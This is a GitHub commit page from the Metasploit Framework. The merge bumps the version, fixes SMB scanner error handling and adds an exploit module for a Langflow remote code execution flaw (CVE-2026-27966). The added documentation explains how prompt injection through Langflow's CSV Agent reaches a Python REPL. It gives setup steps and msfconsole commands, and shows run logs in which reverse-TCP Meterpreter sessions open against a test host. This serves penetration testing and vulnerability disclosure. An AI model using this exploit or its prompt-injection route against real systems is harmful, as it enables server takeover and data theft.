Skip to content

Commit 65e91f3

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/master'
2 parents d364840 + 17f7f4d commit 65e91f3

15 files changed

Lines changed: 1813 additions & 41 deletions

File tree

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (6.4.129)
4+
metasploit-framework (6.4.130)
55
aarch64
66
abbrev
77
actionpack (~> 7.2.0)

LICENSE_GEMS

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ memory_profiler, 1.1.0, MIT
9797
metasm, 1.0.5, LGPL-2.1
9898
metasploit-concern, 5.0.5, "New BSD"
9999
metasploit-credential, 6.0.21, "New BSD"
100-
metasploit-framework, 6.4.129, "New BSD"
100+
metasploit-framework, 6.4.130, "New BSD"
101101
metasploit-model, 5.0.4, "New BSD"
102102
metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
103103
metasploit_data_models, 6.0.15, "New BSD"

data/exploits/CVE-2026-27966/cve_2026_27966.json

Lines changed: 1285 additions & 0 deletions
Large diffs are not rendered by default.

db/modules_metadata_base.json

Lines changed: 67 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -56861,7 +56861,7 @@
5686156861
"microsoft-ds"
5686256862
],
5686356863
"targets": null,
56864-
"mod_time": "2025-06-20 13:20:44 +0000",
56864+
"mod_time": "2026-04-22 05:16:08 +0000",
5686556865
"path": "/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb",
5686656866
"is_install_path": true,
5686756867
"ref_name": "scanner/smb/psexec_loggedin_users",
@@ -56947,7 +56947,7 @@
5694756947
"microsoft-ds"
5694856948
],
5694956949
"targets": null,
56950-
"mod_time": "2025-06-23 12:43:46 +0000",
56950+
"mod_time": "2026-04-22 06:32:00 +0000",
5695156951
"path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb",
5695256952
"is_install_path": true,
5695356953
"ref_name": "scanner/smb/smb_enumshares",
@@ -56997,7 +56997,7 @@
5699756997
"microsoft-ds"
5699856998
],
5699956999
"targets": null,
57000-
"mod_time": "2026-02-06 11:25:47 +0000",
57000+
"mod_time": "2026-04-21 10:53:10 +0000",
5700157001
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
5700257002
"is_install_path": true,
5700357003
"ref_name": "scanner/smb/smb_enumusers",
@@ -57086,7 +57086,7 @@
5708657086
"microsoft-ds"
5708757087
],
5708857088
"targets": null,
57089-
"mod_time": "2026-02-06 11:25:47 +0000",
57089+
"mod_time": "2026-04-22 06:32:00 +0000",
5709057090
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
5709157091
"is_install_path": true,
5709257092
"ref_name": "scanner/smb/smb_login",
@@ -57122,7 +57122,7 @@
5712257122
"microsoft-ds"
5712357123
],
5712457124
"targets": null,
57125-
"mod_time": "2025-06-23 09:30:35 +0000",
57125+
"mod_time": "2026-04-22 05:23:34 +0000",
5712657126
"path": "/modules/auxiliary/scanner/smb/smb_lookupsid.rb",
5712757127
"is_install_path": true,
5712857128
"ref_name": "scanner/smb/smb_lookupsid",
@@ -57239,7 +57239,7 @@
5723957239
"microsoft-ds"
5724057240
],
5724157241
"targets": null,
57242-
"mod_time": "2026-04-22 11:52:36 +0000",
57242+
"mod_time": "2026-04-22 06:12:33 +0000",
5724357243
"path": "/modules/auxiliary/scanner/smb/smb_uninit_cred.rb",
5724457244
"is_install_path": true,
5724557245
"ref_name": "scanner/smb/smb_uninit_cred",
@@ -57290,7 +57290,7 @@
5729057290
"microsoft-ds"
5729157291
],
5729257292
"targets": null,
57293-
"mod_time": "2026-04-22 16:27:08 +0000",
57293+
"mod_time": "2026-04-21 11:20:54 +0000",
5729457294
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
5729557295
"is_install_path": true,
5729657296
"ref_name": "scanner/smb/smb_version",
@@ -112579,6 +112579,66 @@
112579112579
"session_types": false,
112580112580
"needs_cleanup": true
112581112581
},
112582+
"exploit_multi/http/langflow_rce_cve_2026_27966": {
112583+
"name": "Langflow RCE",
112584+
"fullname": "exploit/multi/http/langflow_rce_cve_2026_27966",
112585+
"aliases": [],
112586+
"rank": 600,
112587+
"disclosure_date": "2026-02-25",
112588+
"type": "exploit",
112589+
"author": [
112590+
"weblover12",
112591+
"Takahiro Yokoyama"
112592+
],
112593+
"description": "The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).\n As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).",
112594+
"references": [
112595+
"CVE-2026-27966",
112596+
"GHSA-3645-fxcv-hqr4"
112597+
],
112598+
"platform": "Linux,Python,Unix",
112599+
"arch": "cmd, python",
112600+
"rport": 7860,
112601+
"autofilter_ports": [
112602+
80,
112603+
8080,
112604+
443,
112605+
8000,
112606+
8888,
112607+
8880,
112608+
8008,
112609+
3000,
112610+
8443
112611+
],
112612+
"autofilter_services": [
112613+
"http",
112614+
"https"
112615+
],
112616+
"targets": [
112617+
"Linux Command",
112618+
"Python payload"
112619+
],
112620+
"mod_time": "2026-04-18 12:56:53 +0000",
112621+
"path": "/modules/exploits/multi/http/langflow_rce_cve_2026_27966.rb",
112622+
"is_install_path": true,
112623+
"ref_name": "multi/http/langflow_rce_cve_2026_27966",
112624+
"check": true,
112625+
"post_auth": false,
112626+
"default_credential": false,
112627+
"notes": {
112628+
"Stability": [
112629+
"crash-safe"
112630+
],
112631+
"SideEffects": [
112632+
"artifacts-on-disk",
112633+
"ioc-in-logs"
112634+
],
112635+
"Reliability": [
112636+
"repeatable-session"
112637+
]
112638+
},
112639+
"session_types": false,
112640+
"needs_cleanup": null
112641+
},
112582112642
"exploit_multi/http/langflow_unauth_rce_cve_2025_3248": {
112583112643
"name": "Langflow AI RCE",
112584112644
"fullname": "exploit/multi/http/langflow_unauth_rce_cve_2025_3248",
Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
## Vulnerable Application
2+
3+
The CSV Agent node in Langflow hardcodes allow_dangerous_code=True,
4+
which automatically exposes LangChain’s Python REPL tool (python_repl_ast).
5+
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection,
6+
leading to full Remote Code Execution (RCE).
7+
8+
The vulnerability affects:
9+
10+
* Langflow < 1.8.0
11+
12+
This module was successfully tested on:
13+
14+
* Langflow 1.7.3 installed with Docker
15+
16+
17+
### Installation
18+
1. `git clone https://github.com/langflow-ai/langflow.git`
19+
20+
2. `git checkout 1.7.3`
21+
22+
3. `cd langflow/docker_example`
23+
24+
4. `Edit docker-compose.yml`
25+
```
26+
services:
27+
langflow:
28+
- image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
29+
- pull_policy: always # set to 'always' when using 'latest' image
30+
+ # image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
31+
+ image: langflowai/langflow:1.7.3 # or another version tag on https://hub.docker.com/r/langflowai/langflow
32+
+ # pull_policy: always # set to 'always' when using 'latest' image
33+
ports:
34+
- "7860:7860"
35+
depends_on:
36+
@@ -11,7 +12,7 @@ services:
37+
# This variable defines where the logs, file storage, monitor data and secret keys are stored.
38+
- LANGFLOW_CONFIG_DIR=/app/langflow
39+
volumes:
40+
- - langflow-data:/app/langflow
41+
+ - langflow-data:/app
42+
43+
postgres:
44+
image: postgres:16
45+
```
46+
47+
5. `docker compose up`
48+
49+
6. `On an attacker machine`
50+
```
51+
curl -fsSL https://ollama.com/install.sh | sh
52+
ollama run llama3.1
53+
```
54+
55+
56+
## Verification Steps
57+
58+
1. Install the application
59+
2. Start msfconsole
60+
3. Do: `use exploit/multi/http/langflow_rce_cve_2026_27966`
61+
4. Do: `run lhost=<lhost> rhost=<rhost> ollamaapiuri=<ollamaapiuri> apikey=<apikey> model=<model>`
62+
5. You should get a meterpreter
63+
64+
65+
## Options
66+
67+
### APIKEY (required)
68+
69+
Langflow API key to interact with Langflow.
70+
71+
### OLLAMAAPIURI (required)
72+
73+
Endpoint of the OLLAMA API controlled by an attacker.
74+
75+
### MODEL (required)
76+
77+
Valid ollama model name.
78+
79+
80+
## Scenarios
81+
82+
### cmd/linux/http/x64/meterpreter_reverse_tcp
83+
```
84+
msf > use exploit/multi/http/langflow_rce_cve_2026_27966
85+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
86+
msf exploit(multi/http/langflow_rce_cve_2026_27966) > options
87+
88+
Module options (exploit/multi/http/langflow_rce_cve_2026_27966):
89+
90+
Name Current Setting Required Description
91+
---- --------------- -------- -----------
92+
APIKEY yes Langflow API key to interact with Langflow.
93+
MODEL yes Valid ollama model name.
94+
OLLAMAAPIURI yes Endpoint of the OLLAMA API controlled by an attacker.
95+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http
96+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
97+
RPORT 7860 yes The target port (TCP)
98+
SSL false no Negotiate SSL/TLS for outgoing connections
99+
VHOST no HTTP server virtual host
100+
101+
102+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
103+
104+
Name Current Setting Required Description
105+
---- --------------- -------- -----------
106+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
107+
FETCH_DELETE true yes Attempt to delete the binary after execution
108+
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac
109+
cepted: none, python3.8+, shell-search, shell)
110+
FETCH_SRVHOST no Local IP to use for serving payload
111+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
112+
FETCH_URIPATH no Local URI to use for serving payload
113+
LHOST yes The listen address (an interface may be specified)
114+
LPORT 4444 yes The listen port
115+
116+
117+
When FETCH_COMMAND is one of CURL,GET,WGET:
118+
119+
Name Current Setting Required Description
120+
---- --------------- -------- -----------
121+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
122+
123+
124+
When FETCH_FILELESS is none:
125+
126+
Name Current Setting Required Description
127+
---- --------------- -------- -----------
128+
FETCH_FILENAME yVhDYYwMmZm no Name to use on remote system when storing payload; cannot contain spaces or slashes
129+
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
130+
131+
132+
Exploit target:
133+
134+
Id Name
135+
-- ----
136+
0 Linux Command
137+
138+
139+
140+
View the full module info with the info, or info -d command.
141+
142+
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payl
143+
oad=cmd/linux/http/x64/meterpreter_reverse_tcp target=Linux\ Command
144+
[*] Started reverse TCP handler on 192.168.56.1:4444
145+
[*] Running automatic check ("set AutoCheck false" to disable)
146+
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
147+
[*] Project: 367f399f-6f17-43a2-bea0-33183baae731
148+
[*] Flow: 42098574-2343-4b8a-97fe-0e2800270087
149+
[*] Job: 014b3154-e882-4649-9c16-5f25e4c358d9
150+
[*] Waiting...
151+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:59440) at 2026-04-18 12:31:49 +0900
152+
153+
meterpreter > getuid
154+
Server username: user
155+
meterpreter > sysinfo
156+
Computer : d513d5e46402
157+
OS : Debian 13.3 (Linux 6.8.0-56-generic)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
meterpreter >
162+
```
163+
164+
### python/meterpreter/reverse_tcp
165+
```
166+
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payload=python/meterpreter/reverse_tcp target=Python\ payload
167+
[*] Started reverse TCP handler on 192.168.56.1:4444
168+
[*] Running automatic check ("set AutoCheck false" to disable)
169+
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
170+
[*] Project: 146bfdff-95cc-4e43-b0f2-dbdaa6916401
171+
[*] Flow: 497484a7-6f39-4418-8113-aba0c2f57a3b
172+
[*] Job: 0e4282ad-bf9d-4079-891b-81a2ccb8dbe8
173+
[*] Waiting...
174+
[*] Sending stage (23404 bytes) to 192.168.56.16
175+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:47988) at 2026-04-18 12:48:07 +0900
176+
177+
meterpreter > getuid
178+
Server username: user
179+
meterpreter > sysinfo
180+
Computer : d513d5e46402
181+
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
182+
Architecture : x64
183+
System Language : C
184+
Meterpreter : python/linux
185+
meterpreter >
186+
```

lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ def self.get_hash
3232
end
3333
end
3434

35-
VERSION = "6.4.129"
35+
VERSION = "6.4.130"
3636
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3737
PRERELEASE = 'dev'
3838
HASH = get_hash

lib/msf/core/exploit/remote/ms_samr.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def connect_samr(tree)
6060
rescue RubySMB::Dcerpc::Error::DcerpcError => e
6161
elog(e.message, error: e)
6262
raise MsSamrUnexpectedReplyError, e.message
63-
rescue RubySMB::Error::RubySMBError
63+
rescue RubySMB::Error::RubySMBError => e
6464
elog(e.message, error: e)
6565
raise MsSamrUnknownError, e.message
6666
end

modules/auxiliary/scanner/smb/psexec_loggedin_users.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,7 @@ def get_hku(ip, smbshare, cmd, text, bat)
8080
command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
8181
out = psexec(command)
8282
output = get_output(ip, smbshare, text)
83+
return nil unless output
8384
cleanout = Array.new
8485
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_") }
8586
return cleanout

modules/auxiliary/scanner/smb/smb_enumshares.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -311,7 +311,9 @@ def run_host(ip)
311311
connect(versions: [1, 2, 3])
312312
end
313313
smb_login
314-
break unless enum_shares(ip).empty?
314+
shares = enum_shares(ip)
315+
next if shares.nil? || shares.empty?
316+
break
315317
rescue ::Interrupt
316318
raise $ERROR_INFO
317319
rescue Errno::ECONNRESET => e

modules/auxiliary/scanner/smb/smb_enumusers.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,12 @@ def run_service(port, direct)
108108
def run_service_domain(tree, smb_domain: nil)
109109
@smb_domain = smb_domain
110110

111-
samr_con = connect_samr(tree)
111+
begin
112+
samr_con = connect_samr(tree)
113+
rescue ::Exception => e
114+
print_error("SAMR connection failed: #{e.class} #{e}")
115+
return nil
116+
end
112117

113118
lockout_info = samr_con.samr.samr_query_information_domain(
114119
domain_handle: samr_con.domain_handle,
@@ -132,8 +137,10 @@ def run_service_domain(tree, smb_domain: nil)
132137
end
133138
end
134139
ensure
135-
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
136-
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
140+
if samr_con
141+
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
142+
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
143+
end
137144
end
138145

139146
def report_username(domain, username)

0 commit comments

Comments
 (0)